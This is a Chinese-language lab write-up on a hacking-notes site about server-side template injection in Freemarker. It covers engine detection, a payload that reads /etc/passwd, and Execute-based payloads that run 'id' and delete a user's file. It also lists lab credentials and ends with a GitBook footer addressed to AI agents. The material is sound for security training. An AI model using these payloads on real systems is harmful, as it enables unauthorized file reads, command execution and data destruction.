> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-using-java-template-engine-documentation.md).

# 使用 Java 模板引擎文档进行 SSTI

### 使用文档进行服务器端模板注入

本实验存在一个漏洞 **SSTI**. 目标是识别所使用的模板引擎，查阅其文档以了解如何执行任意代码，然后删除 Carlos 目录中的 moral 文件。txt。/ 提供的凭据如下： **content-manager: C0nt3ntM4n4g3r**.

<figure><img src="/files/09fa7a5446f796bfe49243309887be17a4776a17" alt=""><figcaption></figcaption></figure>

### **模板分析**

在注释中，引擎给出了一个表达式：

* 简单测试：

```java
${7*7}
```

<figure><img src="/files/87f46241552c1794b67f2dfcac05c7c3acb16594" alt=""><figcaption></figcaption></figure>

* 错误信息显示所使用的引擎是 **Freemarker（Java）**.
* 一个新的表达式，例如 `${7*a}` 证实了对模板的解读。

```java
${7*a}
```

<figure><img src="/files/ab73b4bf56c503195df3088fd49ee5dbf75e4fc8" alt=""><figcaption></figcaption></figure>

#### **文件读取**

要读取 /etc/passwd 文件，使用可通过该对象访问的方法：

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
```

<figure><img src="/files/5b7bb2180647224b2fbd1b1303ccc240493e197a" alt=""><figcaption></figcaption></figure>

#### **命令执行**

Freemarker 允许调用 `执行` 工具类：

```java
${"freemarker.template.utility.Execute"?new()("id")}
```

<figure><img src="/files/a177e0e70b6be7a3144da3c10d6b103e846fe242" alt=""><figcaption></figcaption></figure>

#### **删除目标文件**

要从 Carlos 目录中删除 moral.txt：

```java
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt") }
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-using-java-template-engine-documentation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
